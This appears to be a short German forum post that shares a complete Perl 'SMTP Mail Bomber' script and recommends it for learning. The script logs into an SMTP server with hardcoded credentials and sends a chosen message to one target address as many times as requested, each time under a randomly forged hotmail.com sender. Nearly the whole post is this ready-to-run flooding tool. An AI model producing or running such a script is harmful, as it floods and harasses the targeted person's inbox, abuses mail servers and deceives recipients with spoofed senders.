Naja, ist ein kleiner Source, aber zum lernen nicht schlecht
Perl
- #!/usr/bin/perl
- #
- # [ Simple SMTP Mail Bomber ]
- #
- # Perl Edition by Perforin
- #modded by fred777
- #
- use Net::SMTP;
- use NET::SMTP_auth;
- ($anzahl,$for,$subject) = @ARGV;
- ($user,$pass,$count,$version) = ('fubar@warezmail.net',"qwertz123",0,1); # Natürlich PW und User ändern
- print <<INTRO;
- +-+-+-+-+-+-+-+-+-+-+-+
- +-+ SMTP Mailbomber 1.1+-+
- +-+-+-+-+-+-+-+-+-+-+-+
- V.$version
- INTRO
- if (@ARGV < 3) {
- print "\n$0 <Number> <Mail> <Subject>\n";
- } else {
- print "\nPlease type your Text here:\n";
- chop($text = <STDIN>);
- do {
- $zahl = rand(30);
- $extra = int($zahl);
- $from = "$extra".'@'."hotmail.com";
- $smtp = Net::SMTP_auth->new('mail.warezmail.net'); # CHANGE SMTP SERVER
- $smtp->auth('LOGIN', $user, $pass);
- $smtp->mail();
- $smtp->to($for);
- $smtp->data();
- $smtp->datasend("To: $for\n");
- $smtp->datasend("From: $from\n");
- $smtp->datasend("Subject: $subject\n");
- $smtp->datasend("$text\n") or die "not auth";
- $smtp->dataend();
- $smtp->quit;
- $count++;
- } until ($count == $anzahl);
- print "\nMails verschickt!\n";